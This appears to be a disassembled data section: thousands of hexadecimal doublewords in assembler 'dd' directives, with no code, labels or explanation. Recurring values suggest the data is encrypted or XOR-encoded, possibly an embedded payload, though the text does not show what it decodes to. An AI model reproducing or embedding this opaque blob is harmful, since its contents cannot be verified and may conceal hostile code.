		dd 0B4F6BDAFh, 0F9023A0Fh, 0DB56EA19h, 325675B7h, 6EB6CEB8h
		dd 3256C1B6h, 0C0D7C8D1h, 53AAFAAAh, 0DB36ABB1h, 3256D5A5h
		dd 0B6A5EAA6h, 0EC144A09h, 20F54D0Fh, 0B93C173Dh, 0C4920638h
		dd 32565D59h, 0A4BA12B1h, 98E0175h, 3D539954h, 3256753Dh
		dd 3237E2B1h, 36D552B1h, 5256AEB1h, 3237953Ah, 324442B1h
		dd 91FAD5B1h, 6929B240h, 5D0206CFh, 0FB73B1ECh,	0FB92CC9Bh
		dd 31DAA1D1h, 545657B1h, 0FFD6503Ah, 3256B455h,	0FBE9E5D1h
		dd 0EDDD13D1h, 3256B359h, 0BE8400B1h, 7C4AAF3Bh, 530D9A29h
		dd 325653D0h, 3D56D544h, 3256FE32h, 32599CB1h, 3C6CBAB1h
		dd 0C97FFC6h, 78342010h, 12DD54D1h, 32454262h, 25E2D5B1h
		dd 0FA9A75EEh, 0FCA2CBECh, 0A7236C26h, 1293C71Fh, 0DB56AEFCh
		dd 325657A5h, 0D5486BA3h, 70D03938h, 924652AEh,	172AB441h
		dd 0D4A3ECA5h, 3DBF5DB1h, 0E956AEB1h, 0D1073D89h, 0DAADE42Ch
		dd 9DE5559Fh, 3256496Bh, 3251FFBEh, 0BC59BAB1h,	32565DB0h
		dd 32565249h, 3257D4BEh, 32AAABB1h, 28D1DAB1h, 3D56EAB1h
		dd 32566134h, 325953B1h, 0C9F95DB1h, 803ED6B9h,	0A6A9A3A4h
		dd 346C29C3h, 32562073h, 325E6EBEh, 0B45975B1h,	3256BAB3h
		dd 32563CD1h, 3256A558h, 0AE8F31B1h, 896D8D20h,	0C79A4FDEh
		dd 3EBFEAB1h, 0AF5675B1h, 0BBDA5D1Ah, 4597D09Ah, 32FC9F4Eh
		dd 3250BEB1h, 9716ABB1h, 735269F3h, 0BF59EAB1h,	325675BEh
		dd 3256B058h, 279443B1h, 0A2624435h, 32C2602Eh,	63A3CBB1h
		dd 3256B4EAh, 25BA6AD1h, 32DA7AE3h, 6B56BAB1h, 0DB565DD0h
		dd 3256AEA3h, 0CEA3938Ch, 5FA071F9h, 0EE2533A3h, 929149EBh
		dd 32562FB0h, 325F3BBEh, 87365DB1h, 0EAD7C85Fh,	52375ABDh
		dd 0B0594301h, 3256D5B5h, 0EB3654D7h, 525675D0h, 0DAD05A31h
		dd 32565DBDh, 5C8B4F95h, 61579CCAh, 75969A44h, 3256B4E8h
		dd 32470349h, 0BDEB75B1h, 0E8E0501h, 7BBA27BAh,	9E886E63h
		dd 32DB45BBh, 3EDBA4B1h, 5256D5B1h, 0E1D454D7h,	3256F9BEh
		dd 3237BAB1h, 3256A4B1h, 0F6EFC8D1h, 8559012Ch,	3237F072h
		dd 20D0DAB1h, 0DB56EAB1h, 325675BCh, 897BC6Ah, 8B5E9FF2h
		dd 23AECBF8h, 3FBF3789h, 0EA56ABB1h, 0B2565B5Eh, 0E6C589E4h
		dd 820D9C28h, 539731D7h, 32AA5DB1h, 37BFCEB1h, 0F55657B1h
		dd 80D78DF6h, 50A66FD7h, 3D56EAD0h, 32567834h, 0B330DAB1h
		dd 3D2D0860h, 3256AE33h, 325636B1h, 0DB56AB48h,	3256D5B9h
		dd 0E4B14F0Eh, 3DBE57F4h, 21BFBAB1h, 95565DB1h,	0A38E621h
		dd 0CD6BC136h, 3FAB6016h, 87D6F593h, 3256E5C9h,	5256754Dh
		dd 3256B359h, 0F650B9B1h, 299B7C75h, 0F7DCB07Eh, 3256CAE9h
		dd 324556BEh, 0DB36EAB1h, 325675BBh, 8ECB44CEh,	12B0E78h
		dd 53367395h, 0DB5657D0h, 3256ABA1h, 0DFBDE909h, 0B33E9717h
		dd 30988C2Dh, 70829C81h, 3ABF5DB1h, 0FD56AEB1h,	0CCFE848Eh
		dd 329586C1h, 38D1DAB1h, 0DB56EAB1h, 325675B4h,	1E278B05h
		dd 0CA565D65h, 0B859AEB1h, 325657B0h, 0DB56AB4Dh, 3256D5A0h
		dd 0DDD4D343h, 7DC24F19h, 0B8D1A6B9h, 78C4BDBBh, 32565B01h
		dd 5256574Dh, 8C9C20D7h, 20B13BA2h, 3D56EAD0h, 32567435h
		dd 32564FB1h, 32B0DCD1h, 545D45AEh, 8E039D30h, 3D56ABD0h
		dd 3256D432h, 32AA13B1h, 0D3D715B1h, 330BECEh, 32565758h
		dd 88A8BCB1h, 0C1642B49h, 53BB990Fh, 3256DA58h,	514F9AB1h
		dd 0DBB70D86h, 0DAF39C02h, 0E7BFB699h, 32AEAEB1h, 33D558B1h
		dd 0CB56ABB1h, 0B936D5B1h, 32A38B4Bh, 0F0D715B1h, 48F5DD35h
		dd 52565DD0h, 12812FD7h, 0E2E15803h, 3D56ABD0h,	3256D038h
		dd 85598AB1h, 0BC591463h, 3256BAB0h, 3D565D4Dh,	3256A63Bh
		dd 0B93037B1h, 0FBE9A472h, 3237B5D0h, 324603B1h, 0D4CF75B1h
		dd 0DAC1D79h, 0CD2D6F25h, 4E5BF1A4h, 0B259E6C0h, 3256ABB0h
		dd 5256D544h, 53963531h, 37BF75B1h, 9356BAB1h, 0CEF10799h
		dd 0B359AEB1h, 325657A5h, 3256A458h, 0EFDC75B1h, 0EF39878h
		dd 0D44F77h, 72F98378h,	3FBF5DB1h, 0C956AEB1h, 0A05D63B2h
		dd 0BA0A7882h, 0AE2CCEE3h, 26BFEAB1h, 425675B1h, 61BA9E65h
		dd 3E762387h, 25B05017h, 4C700DC0h, 32BFD221h, 325E3CB1h
		dd 3D56EAB1h, 0AF92501Dh, 3256C74Bh, 3D565D4Dh,	3256AF32h
		dd 38BFA2B1h, 5756ABB1h, 180A82Dh, 28FDE066h, 52567510h
		dd 3256B058h, 4F635CB1h, 5FF12F84h, 0B21A4A48h,	3237AB52h
		dd 54AFB5B1h, 5332D80Eh, 325E9DD1h, 67F4BAB1h, 0AB0E663Ch
		dd 0B3301144h, 6B4D3460h, 32D2A4E0h, 6856D5B1h,	5256EAD0h
		dd 88302EE0h, 32372A79h, 0DBAF3DB1h, 3256AEA3h,	9929BF03h
		dd 3540288h, 0B5EEE946h, 692A05A7h, 52373274h, 74804D7h
		dd 3D565DD0h, 3256AF3Ch, 3256AFB1h, 3256A058h, 0D4EFB1h
		dd 72F9D378h, 0C44BDEB2h, 38BFBAB1h, 65565DB1h,	2FA8518Fh
		dd 76D55B5Ah, 32565E00h, 3256D258h, 0B54E30B1h,	419C9C07h
		dd 0B759BAB1h, 32565DA1h, 3256A558h, 0AB9F05B1h, 508B66E5h
		dd 595833C6h, 32A3EAB1h, 0D5D715B1h, 2FF56737h,	6B373DE2h
		dd 0CB56AED0h, 325CD3BEh, 37BFABB1h, 0CC56D5B1h, 56A8DE39h
		dd 0BE5975B1h, 3256BAB5h, 53373DD1h, 0B459AEB1h, 325657A4h
		dd 3256BB58h, 0F712DB1h, 614D9B37h, 848B4C06h, 1C49F216h
		dd 3D565D3Ch, 3256A43Ch, 0A4ED37B1h, 3D4E595Dh,	0C7372306h
		dd 3D36EAB1h, 32567031h, 0BF2300B1h, 3DBF323Ah,	9A56AEB1h
		dd 0A1411F9Eh, 434F1519h, 0BCDA4335h, 3237E2D6h, 32568CB1h
		dd 325133BEh, 0BE595DB1h, 3256AEB0h, 0DB565744h, 3256ABA0h
		dd 413F061Fh, 73BF05F8h, 6056C5DBh, 0CBDFA0F2h,	3D565D80h
		dd 3256A53Dh, 8C3037B1h, 0AED5558h, 5356636Fh, 0DB36EAB1h
		dd 325675BCh, 0CE14DF8Ah, 68781F5Eh, 41C03B9Ch,	30DD583Dh
		dd 8256ABB1h, 3256B4C9h, 8C3016D1h, 3237B71Eh, 324253B1h
		dd 13E5DB1h, 0FB254710h
		dd 6293DD09h, 8A6331CFh, 0C3762C57h, 0B159E3EEh, 325675B9h
		dd 32543EBEh, 53365DB1h, 0B959AEB1h, 325657B0h,	33D7A44Dh
		dd 0CA56D5B1h, 3ABFEAB1h, 885675B1h, 0CC4A6BFAh, 32DDB12Dh
		dd 33D7A1B1h, 0C75657B1h, 38BFABB1h, 0A756D5B1h, 0E95F243Fh
		dd 0AE6B4070h, 5256BA64h, 0D8D68A3Ah, 3256CF3Dh, 32565C58h
		dd 4C0BA3B1h, 0E3A8BEACh, 9639CF68h, 32AE75B1h,	0FCDDDAB1h
		dd 32379B3Ah, 22D9A1B1h, 0DB5657B1h, 3256ABBAh,	6593BE43h
		dd 66C6095Fh, 3280D7FBh, 0B359DAB1h, 32565DB1h,	3256BF58h
		dd 1D450DB1h, 9ECD3D7Ch, 0EA9DF1A0h, 0EFA0E049h, 3237FDACh
		dd 8D59DAB1h, 0B9303D62h, 538E2572h, 0CB5657D0h, 3CBFABB1h
		dd 3A56D5B1h, 0A32FC227h, 0A50CCDC8h, 0B4291733h, 52565D12h
		dd 0A306560Bh, 325636CCh, 325A2ABEh, 0BF59D5B1h, 3256EAB7h
		dd 3256FCBEh, 3256BAB1h, 32565558h, 2AA7CDB1h, 0BC133D55h
		dd 5256AB8Fh, 6F930B30h, 0B2598AA0h, 325675A2h,	3256B458h
		dd 58C624B1h, 8881CDC8h, 0EBF2F9C6h, 53421703h,	3256DF58h
		dd 9D1A9B1h, 11C46E9Bh,	3210B278h, 9FEE3DB1h, 544EC0B7h
		dd 93999930h, 0CE56ABD0h, 0CB56D544h, 3ABFEAB1h, 7D5675B1h
		dd 0BCF7ED0h, 3229426Eh, 8559CEB1h, 32563672h, 0DB56AB49h
		dd 3256D5BAh, 9E3BAA48h, 429882B2h, 32485D6Ch, 3242B4B1h
		dd 9045AEB1h, 13134834h, 58EB7248h, 762B7F95h, 0CD8933CAh
		dd 0B559C458h, 3256BABDh, 3250D4BEh, 0B859AEB1h, 325657B1h
		dd 0BB59ABB1h, 3256D5A7h, 324663BEh, 39BF75B1h,	0A156BAB1h
		dd 2028C578h, 3B79A128h, 32561FDBh, 3256BA58h, 0FAA551B1h
		dd 1479F3Bh, 0DC25CD29h, 45356356h, 325641D0h, 543657D1h
		dd 0B330893Ah, 53CAC96Eh, 3D56D5D0h, 3256E23Dh,	30D47AB1h
		dd 5256BAB1h, 52565DD0h, 3256A158h, 116E1DB1h, 0B01DF69Eh
		dd 0BB0353E8h, 459DBBB3h, 0CA4AA230h, 3237C518h, 0C0E23DB1h
		dd 0DDA42FD7h, 325636BAh, 6CAEFBD1h, 3256DA58h,	667F28B1h
		dd 37EA0CACh, 0D34789E9h, 0B0BA18F1h, 5256AED0h, 0D4408930h
		dd 0FDDD9A29h, 0DB56D5D0h, 3256EABCh, 548E4C79h, 56776C1Ah
		dd 0E9F987C2h, 3D56AE8Eh, 32565630h, 32565EB1h,	325154BEh
		dd 0B859EAB1h, 325675B0h, 0C756BA49h, 32AA5DB1h, 325047B1h
		dd 966757B1h, 139DF0EBh, 32AAD5B1h, 325903B1h, 0EF2975B1h
		dd 77FE7A9Dh, 8C036075h, 278C1F8Dh, 3AD258FDh, 3D56ABB1h
		dd 3256D734h, 32378AB1h, 0C1EF15B1h, 0B9039259h, 32563C49h
		dd 3D56AE49h, 3256503Dh, 0B930CBB1h, 53825F46h,	3256FA58h
		dd 30452AB1h, 0BF031832h, 0C7CF058Ah, 8CE2990Eh, 0DB5657BCh
		dd 3256ABBCh, 12A9353Ch, 8447A436h, 45000332h, 3D56BACBh
		dd 32565C37h, 325657B1h, 32564658h, 0D58D9CB1h,	0B7E946CDh
		dd 0E9CE76DBh, 0F4F051D7h, 32567ACDh, 3242B4D1h, 5A98AEB1h
		dd 38F97409h, 0C5A28622h, 0C787D7B8h, 3F282736h, 0DB376E94h
		dd 3256BAA5h, 0CBA655B2h, 0D02C970Bh, 0A8DBADFCh, 853B8653h
		dd 55C28712h, 0CE36EAB1h, 32566658h, 51DC9CB1h,	9963C2EFh
		dd 233E830Eh, 4BA0EF9h,	0C507BD10h, 0CB56D5D0h,	32AFEAB1h
		dd 0FBE815B1h, 53213745h, 0BF595DB1h, 3256AEBDh, 3250D0BEh
		dd 0B559ABB1h, 3256D5B1h, 0CE36EAB1h, 525675D0h, 1D5F05D7h
		dd 32564C59h, 0A30706B1h, 0A9E6BC30h, 0F6476747h, 0DEF04FF8h
		dd 0B6591264h, 325675B1h, 3256DBEBh, 32564D58h,	20AFF6B1h
		dd 4EC2C62Bh, 3FC03C3Fh, 0DB351EFCh, 3D56EA0Ch,	32566D3Fh
		dd 324553B1h, 0AAAF5DB1h, 769A753Fh, 0CBACC659h, 0B617D03Dh
		dd 9028AD7h, 0CE56EA90h, 0B05975B1h, 3256BABCh,	32565558h
		dd 0B4EA0AB1h, 0D9B4F723h, 0DB56ABAAh, 3256D5B9h, 5363376Fh
		dd 5DF4F8C3h, 3256B558h, 743BBFB1h, 8E9290ABh, 51583917h
		dd 4DE4B1F3h, 21BFD5B1h, 1A56EAB1h, 7B37CF20h, 2272728Ch
		dd 8D51084Dh, 89A2DF58h, 3256D207h, 3256AE58h, 5692F3B1h
		dd 32569F05h, 32566558h, 0CC31EEB1h, 0FF5B4B04h, 0E8024E4Dh
		dd 776966EBh, 0DB56ABB0h, 3256D5B8h, 39E424D8h,	0A5748FD1h
		dd 3D56BAEBh, 32565A3Ch, 33DDA1B1h, 0CE5657B1h,	0B759ABB1h
		dd 3256D5BAh, 44ED8CD1h, 9916CB47h, 32379EC9h, 325FB4B1h
		dd 6EFDAEB1h, 2EA672D1h, 32B7C95Eh, 32562DB1h, 3256F858h
		dd 0F44130B1h, 0EBCD9322h, 0DFDAD60Eh, 0C1C8680h, 327868C5h
		dd 34DAA4B1h, 5256D5B1h, 0F5DD2C3Ah, 525675D0h,	3256BF58h
		dd 9B4EB1h, 5237E66Bh, 3D060CE0h, 3256AB39h, 32378EB1h
		dd 0EAD78AB1h, 7A31F8FAh, 32373302h, 28D952B1h,	5256AEB1h
		dd 22BE0FE2h, 6C56ABB1h, 2AAEB326h, 0F16568A4h,	464D01CBh
		dd 6838D92Bh, 52565DD0h, 32375C06h, 3256ABB1h, 32572BBEh
		dd 32AFD5B1h, 0B3308AB1h, 0B362416Ah, 3834EE7Eh, 32563CF6h
		dd 3256A358h, 0B1DD43B1h, 6AA4A44h, 1074D2A3h, 3256991Eh
		dd 32567858h, 0F7E54CB1h, 0B2D8329Eh, 8CD3B562h, 3256D4DDh
		dd 0CE56AB48h, 3D36D5B1h, 3256E83Ch, 0B20F27B1h, 32379843h
		dd 20DA52B1h, 3D56AEB1h, 32565B36h, 325142B1h, 0AD4ED5B1h
		dd 4797F17Eh, 0DB361597h, 3256BABEh, 1968B666h,	70489BC9h
		dd 7BE6FE76h, 54858C4Fh, 5394B90Ah, 325065BEh, 0EAD775B1h
		dd 4E2FFBB9h, 3D565DD0h, 3256A136h, 325CBEB1h, 8959ABB1h
		dd 0B374A1B2h, 9719AD27h, 0B33675B1h, 56E55E50h, 4CE93BB6h
		dd 3256CFE7h, 3257DDBEh, 32A3ABB1h, 32533CB1h, 348FEAB1h
		dd 32AAED16h, 325642B1h, 3251DEBEh, 0BF59AEB1h,	325657B0h
		dd 5256AB44h, 32DDDAE6h, 6856EAB1h, 0B121CED7h,	5256BAD0h
		dd 32563C4Dh, 324746D1h, 66E957B1h, 1BF8896Ah, 0DD4658D9h
		dd 1D977F27h, 0DBA3C35Ah, 3256BABDh, 4C7007C0h,	49BFD721h
		dd 7678B37Dh, 32375EE8h, 27D0DAB1h, 0DB56EAB1h,	325675A1h
		dd 2FBCE50Dh, 73E0F20Eh, 0CCE25988h, 0DA505755h, 0DB36ABB1h
		dd 3256D5A1h, 5529BEB2h, 4A8C3712h, 791A009Bh, 2F0D6962h
		dd 3256CF4Dh, 32564358h, 0A55CD0B1h, 2F51C6C3h,	38E1E4CBh
		dd 95E39C3Ah, 7AB4ADB0h, 3D565DC1h, 3256A233h, 34D858B1h
		dd 3D56ABB1h, 3256D53Bh, 3D56EAB1h, 32567835h, 325E53B1h
		dd 22BA5DB1h, 2B2664E5h, 0BB5960D2h, 3256ABB0h,	3D56D549h
		dd 3256EB32h, 32AE89B1h, 2DD0B5B1h, 3D565DB1h, 3256B737h
		dd 3242BEB1h, 1332ABB1h, 27963A5Bh, 549B958Bh, 74D25447h
		dd 0C216FC32h, 32566390h, 3256A058h, 0D7FE37B1h, 4C524833h
		dd 3CE84257h, 0DB806582h, 325675B9h, 0C93B5342h, 86E29807h
		dd 0DA36AEB1h, 325657B9h, 0CB5068AEh, 4F92D0B1h, 3256E458h
		dd 12BCCDB1h, 302E3849h, 8C7F419Bh, 6A498D19h, 5390E8BEh
		dd 21BFABB1h, 8F56D5B1h, 699CABF8h, 0D3BC2E6Ah,	873DB8DAh
		dd 0B4838740h, 32565268h, 3248D8BEh, 0BC59ABB1h, 3256D5A9h
		dd 3256F958h, 76019EB1h, 0B9FBACA4h, 0DF08DCABh, 0CD70B32Ah
		dd 5D701A67h, 3256A258h, 2438EBB1h, 42044D41h, 325628C0h
		dd 5256BA48h, 32565459h, 1D3746B1h, 748198BAh, 6B07391Dh
		dd 0D2D7B3EBh, 32378B51h, 325E9CB1h, 500DBAB1h,	918290E4h
		dd 3256EBE8h, 32565D58h, 3C5B3AB1h, 5054D5B1h, 32A22F47h
		dd 24DA7AB1h, 0DB56BAB1h, 32565DA0h, 860E81h, 4348154Eh
		dd 24F57032h, 77020462h, 0DB56EA79h, 325675BEh,	0E1732FE3h
		dd 6151E49Fh, 7D688952h
		dd 32A29823h, 35D5A4B1h, 3D56D5B1h, 3256EB38h, 325680B1h
		dd 325C31BEh, 3D365DB1h, 3256AE30h, 533737B1h, 3BBFABB1h
		dd 0AF56D5B1h, 107B436Bh, 9E235231h, 549731D1h,	0B4428C30h
		dd 3D56AED0h, 32565E33h, 0B3A3CBB1h, 2E08D153h,	32568B98h
		dd 54361549h, 3D20840Ah, 32565D3Dh, 8D59CFB1h, 32563679h
		dd 3256A258h, 0CF122AB1h, 0AB62B3B1h, 32568B38h, 325C39BEh
		dd 0B9365DB1h, 32D5A16Fh, 535657B1h, 0B659ABB1h, 3256D5A2h
		dd 325B68BEh, 3ABF75B1h, 0FF56BAB1h, 8D76DAD3h,	32B029F9h
		dd 20D858B1h, 3D56ABB1h, 3256D938h, 325103B1h, 4ADE75B1h
		dd 0ED3B3F59h, 0DB565D92h, 3256AEA0h, 0CA238C6Ch, 1CB52730h
		dd 194889F8h, 8944AA29h, 52567595h, 549D31D7h, 5237AC3Ah
		dd 0F3D7C84Dh, 32373A09h, 325657B1h, 3256D958h,	0EDD717B1h
		dd 24D28426h, 7D28450Fh, 3D565D63h, 3256B934h, 3244BEB1h
		dd 873FABB1h, 0BB368596h, 0F2710F16h, 8E1EEB2Ch, 8D3A00FBh
		dd 38D152D1h, 0DB56AEB1h, 325657B4h, 0C53EC88Dh, 33D3DAACh
		dd 0C756EAB1h, 32567559h, 0D8D7E0B1h, 3441F416h, 324F20BEh
		dd 26BF57B1h, 0CC56ABB1h, 9390406Ch, 0A38855B7h, 0F5BBC721h
		dd 6F40BFABh, 3DB9CE1Dh, 3256AF39h, 0BF59AEB1h,	3256ABBDh
		dd 325052BEh, 0B059EAB1h, 325675B1h, 0B5A03F3Ch, 0BBAA5BA7h
		dd 25C48833h, 24D158B7h, 3D56ABB1h, 3256C53Dh, 325D03B1h
		dd 0F80E75B1h, 4028422Dh, 6DB5D605h, 97D4237Ah,	0CB504FD5h
		dd 0A0132938h, 0BE59D3A6h, 3256EAA8h, 32566158h, 2F34A9B1h
		dd 4C48E416h, 321CACE9h, 58DD8ADDh, 0BDF9A5D3h,	6393DA3h
		dd 0B059EAB1h, 325675A9h, 32443CBEh, 3FBF5DB1h,	2256AEB1h
		dd 0C74AE101h, 5EA41A55h, 0DFD6FD06h, 3254BC59h, 0B33015B1h
		dd 0B3558850h, 0EADD8252h, 0B091CFABh, 3441C672h, 3256ABB1h
		dd 325750BEh, 60AEEAB1h, 0E3D3B348h, 6450ABB7h,	0EBDD3BD1h
		dd 3256A758h, 4D20EDB1h, 0BB536498h, 5A3787E3h,	0AEFE52E3h
		dd 32566158h, 8FA452B1h, 0A8E377C4h, 0DF0CC08Bh, 0CF6CF46Eh
		dd 0BD360DD7h, 0E3E32A8Ch, 3D50FBBEh, 32566730h, 325B53B1h
		dd 9CE75DB1h, 9AB1E90Fh, 890A03D3h, 0BFA3B52Fh,	2622AA34h
		dd 324203B7h, 382075B1h, 0FCE2BDB5h, 0FB5ECE6h,	2B805D5Bh
		dd 0DA3A4A68h, 0E2A9C818h, 0B7D66CD1h, 3BBF890Fh, 0F05675B1h
		dd 0D0A830F2h, 9FA72358h, 47D327D0h, 3D5046B3h,	3256A331h
		dd 0B059B5B1h, 3256EAB1h, 0DB521FD0h, 3256BABBh, 0A425BD80h
		dd 4208D80h, 323E64CAh,	0DB56ABA1h, 3256D5BFh, 0F7CD1FECh
		dd 0A19DE836h, 0D0AC9AADh, 723E767Ch, 3D56ADBCh, 3256433Ah
		dd 3CDAA4B1h, 0DB56D5B1h, 3256EAB8h, 0BB0A1791h, 0BD4A2AEAh
		dd 3D563708h, 3256BA31h, 3CD358B1h, 0DB56ABB1h,	3256D5B8h
		dd 6494D303h, 8AC372EAh, 3D864577h, 32564D38h, 325D47B1h
		dd 0E3AD57B1h, 0F1949F9Dh, 0B10AE94Ah, 39A3B025h, 0FCD27A71h
		dd 3D56BAB1h, 32565732h, 8D59CEB1h, 0D5C3EC78h,	0BB37A92Fh
		dd 25C71633h, 0B0DF12B7h, 3441E451h, 3F160344h,	0B9595DB2h
		dd 3256AEB0h, 27DC5848h, 0DB56ABB1h, 3256D5A1h,	0E8A398C8h
		dd 0E3D32120h, 59F9D047h, 0B1A57051h, 0C7AE563Ah, 54369782h
		dd 0AF44330h, 325451BEh, 0ABE0EAB1h, 3DFC86D0h,	3256BB3Ch
		dd 60AEA4B1h, 3256AB58h, 885321B1h, 363C660Ch, 2256BD48h
		dd 0BE59EAB1h, 325675BDh, 0E7AC04D1h, 14EF1E62h, 537C5A16h
		dd 325257D9h, 1BE5CBB1h, 58371E3Ah, 324203B1h, 7A0475B1h
		dd 3D170E71h, 0B4903D56h, 0D478B845h, 0A3FE1B6h, 0A0A913C9h
		dd 3447D7C4h, 0BBAFB048h, 25C59B33h, 38D3B5B7h,	0DB565DB1h
		dd 3256AEB4h, 5F5174E1h, 0B936CAE8h, 32593C66h,	0E323EAB1h
		dd 7EE2E837h, 0A891D78Ch, 55481D85h, 0B7DDCFE9h, 3441C672h
		dd 325926BEh, 38BFD5B1h, 0C256EAB1h, 23D782EDh,	8369C716h
		dd 0B4599E6Ah, 3256AEB6h, 3257D3BEh, 52AFABB1h,	325754BEh
		dd 0F5A3EAB1h, 235AC833h, 7256BAB7h, 33DE52B1h,	0CB56AEB1h
		dd 116BD576h, 2256ADA0h, 0B259D5B1h, 3256EAB6h,	3257F9BEh
		dd 53AABAB1h, 32564D58h, 90846DB1h, 0C2C2627Fh,	770381A4h
		dd 52E0091Eh, 52AF294Eh, 0F1ECFE4Dh, 5250AD20h,	540DA5E2h
		dd 53A4BE0Bh, 3D566832h, 32563C35h, 0B930B5B1h,	53916169h
		dd 30460A32h, 32623EBEh, 0B3365DB1h, 0A2D3635Ah, 4DD53687h
		dd 0B659AFA1h, 3256D5E9h, 3256ED58h, 0CB530AB1h, 79127774h
		dd 0DB429A32h, 3256AEB6h, 0E2735768h, 0CE0438F0h, 0CDA96658h
		dd 75911F4Eh, 325674A1h, 324453B1h, 9215DB1h, 0E148B8Bh
		dd 0D12490E4h, 39CA0085h, 635AD4ABh, 0CDA92D58h, 32589C4Eh
		dd 0C7B5BAB1h, 26B9A3F0h, 1C382861h, 4C68A35Fh,	3146EC76h
		dd 0DB56D5B1h, 3256EAB8h, 7826B0DBh, 0C39FC027h, 0ABBFA137h
		dd 0CAA9514Eh, 3D95AED0h, 3256A33Bh, 30DBDAB1h,	5256EAB1h
		dd 26BF20D0h, 456BAB1h,	91ED32F3h, 530B7307h, 201E933Bh
		dd 0C7103542h, 0B9D961E7h, 23DAE55Dh, 0DB5675B1h, 3256BABDh
		dd 5084DEC3h, 27D9897h,	7F0FCC18h, 3256A058h, 18F55AB1h
		dd 1F9C0182h, 0CA50E534h, 0D9D7DAD1h, 353F941Dh, 32562ABEh
		dd 0DA3757B1h, 3256ABB1h, 28BC54EBh, 3D50FD1Fh,	32567439h
		dd 0B65942B1h, 32565DA6h, 3256BC58h, 0F12947B1h, 3AAA9E97h
		dd 6E91EA92h, 0D80F740Dh, 3DE5B306h, 3256BB31h,	80DDA8B1h
		dd 34413AB4h, 32565E58h, 0E73E6AB1h, 0E70D39FDh, 77DDD06Ch
		dd 32589CB9h, 348EBAB1h, 5DA258C1h, 41D7E74Ch, 7F044550h
		dd 0B1A3AD38h, 25C2D033h, 0B259EEB7h, 325675BAh, 0EDD7DCD1h
		dd 8930DE8Ch, 533714BBh, 32565258h, 0A82306B1h,	3D9F10CBh
		dd 3256F237h, 32459CB1h, 2160BAB1h, 6FACD3Ah, 77C5BF3h
		dd 0DB934AF9h, 823E68Eh, 3252176Eh, 3256EF58h, 0B3B270B1h
		dd 0DB36CD71h, 32565DA1h, 9425DE35h, 1C6FC11Ah,	0EBBF3CF6h
		dd 42EC93BCh, 32560248h, 0B30C75B1h, 25F85E5Bh,	24D152B7h
		dd 0DB56AEB1h, 325657A0h, 0EA54CD20h, 0BE306618h, 0F4C154CFh
		dd 35936EA2h, 2BD8B51Eh, 3D565DB1h, 3256BD35h, 3258BEB1h
		dd 6535ABB1h, 718B615Dh, 44F68C3Eh, 0E7D6F554h,	3256BD58h
		dd 207897B1h, 0EC4312D8h, 0A1B8E53Ah, 3FBFADA6h, 0F756D5B1h
		dd 91E7FD97h, 0C43F8915h, 6593D143h, 0A653EF8Ah, 0B659A8A6h
		dd 3256563Dh, 3256A658h, 0F6C36B1h, 0B6FBB30Ah,	5C9AD0F3h
		dd 0B9AFE925h, 0C7D63D8Fh, 0D0D7C8CEh, 0DB37AB71h, 3256ABA0h
		dd 6FB4BFBAh, 5CE72231h, 4CD67696h, 0A6150EFBh,	0DB89D627h
		dd 3256AEBFh, 0BFDBE87Ah, 6E679252h, 755DF2D7h,	8459859Bh
		dd 0C4A374FEh, 3DD6BBF6h, 32567D34h, 0EB555BB1h, 324CBE49h
		dd 0DB36ABB1h, 3256D5BDh, 0BA65EB1Ah, 0B9B33662h, 0EC2816E3h
		dd 1F04E5D7h, 0CB8F85D0h, 3253BEF2h, 59C6ABB1h,	0CBAAB312h
		dd 0CE368AF2h, 538CC2BEh, 538C31D7h, 297D83Ah, 3DBFA8A0h
		dd 405657B1h, 0C0906F49h, 45CEDD2Ah, 902269CDh,	0BFDDA0E1h
		dd 3447B0E0h, 32565258h, 0FE582FB1h, 597C3C38h,	7AF204ECh
		dd 38370843h, 0B059328Ah, 325675D7h, 324035BEh,	23BF5DB1h
		dd 9E56AEB1h, 0EC257F71h, 9729094Ch, 0A0B4E416h, 7FC98CF5h
		dd 0B559AC8Ah, 3256BAF3h, 325AD9BEh, 0BD59AEB1h, 325657B7h
		dd 32562ABEh, 0F4D5D5B1h, 38D5E5B5h, 525675B1h,	0EE7B6930h
		dd 69062ACBh, 0CC8047D0h
		dd 3D36A84Eh, 52375B0Eh, 325057BEh, 0DAD7EAB1h,	4BAFFEADh
		dd 0C3883BD7h, 0FD6D3C5Eh, 32182ABEh, 623657B1h, 325624BEh
		dd 0C70ED5B1h, 63EB63D0h, 525064BBh, 32445249h,	0DC415DB1h
		dd 0F08A5512h, 43B0D76Ah, 0E9235FCAh, 0E926B1Ch, 6A9961D7h
		dd 0CC3C9CD0h, 0DBAE454Eh, 32565DA5h, 611E1577h, 0AF4760C3h
		dd 62595FD4h, 0BF479269h, 0D313350Eh, 0B90615D0h, 0DA04E07Eh
		dd 32565DB4h, 5921B303h, 530D0DF9h, 33D4A472h, 0C756D5B1h
		dd 325303D1h, 899A75B1h, 0DAC20B9Fh, 32565DB1h,	3CBC2FEBh
		dd 0CA504000h, 3256A558h, 8A3CCCB1h, 14B94A04h,	12B13A08h
		dd 0B94C466Eh, 25C5B30Bh, 325147B7h, 0D2757B1h,	91BD4134h
		dd 0EBD7B557h, 35AFC374h, 5787DF08h, 32EFDBC3h,	0DB565DB0h
		dd 3256AEBCh, 2364ED49h, 529CCF03h, 4D8BAD32h, 0DB96D9C7h
		dd 325675BBh, 4BB9639Ah, 73DE5CCFh, 0B9591F2Ah,	325657B0h
		dd 0DBFD5849h, 3256D5A5h, 7D027952h, 71D93379h,	585E7770h
		dd 0B147B8F0h, 7D6B888Ah, 324EDBBEh, 5436ABB1h,	0DBE1A00Eh
		dd 3256EABCh, 309D5390h, 0D77A2ABAh, 1995AFAFh,	0B0DDCF3Eh
		dd 3441C45Fh, 325F21BEh, 5436D5B1h, 8D301D3Ah, 3D37186Eh
		dd 3256BB3Fh, 0B0DFA5B1h, 34413AB4h, 0BF59364Dh, 3256ABB0h
		dd 3D361648h, 3256E83Ah, 520E23B1h, 0DB36DBD0h,	32565DA0h
		dd 0CDA0224Fh, 0F58E87D7h, 9D43A4EEh, 31D4101Dh, 325602DCh
		dd 0B30C75B1h, 25E4BE5Bh, 325FB4B7h, 7C54AEB1h,	26DD7057h
		dd 52B8531Dh, 548C5ED7h, 0F437353Ah, 2350A434h,	0B259ECB7h
		dd 32565DB6h, 0B20DF9D1h, 5A37106Ah, 0E649C688h, 31D1DAD1h
		dd 5456EAB1h, 0CD37A23Ah, 23596B04h, 0A1E23DB7h, 539919BEh
		dd 4DD3DA49h, 0CE50BFC5h, 6336054Eh, 6A8061D7h,	538CCABEh
		dd 34D9B5E3h, 52565DB1h, 0C7DCCFD1h, 35BF07D0h,	0F956ABB1h
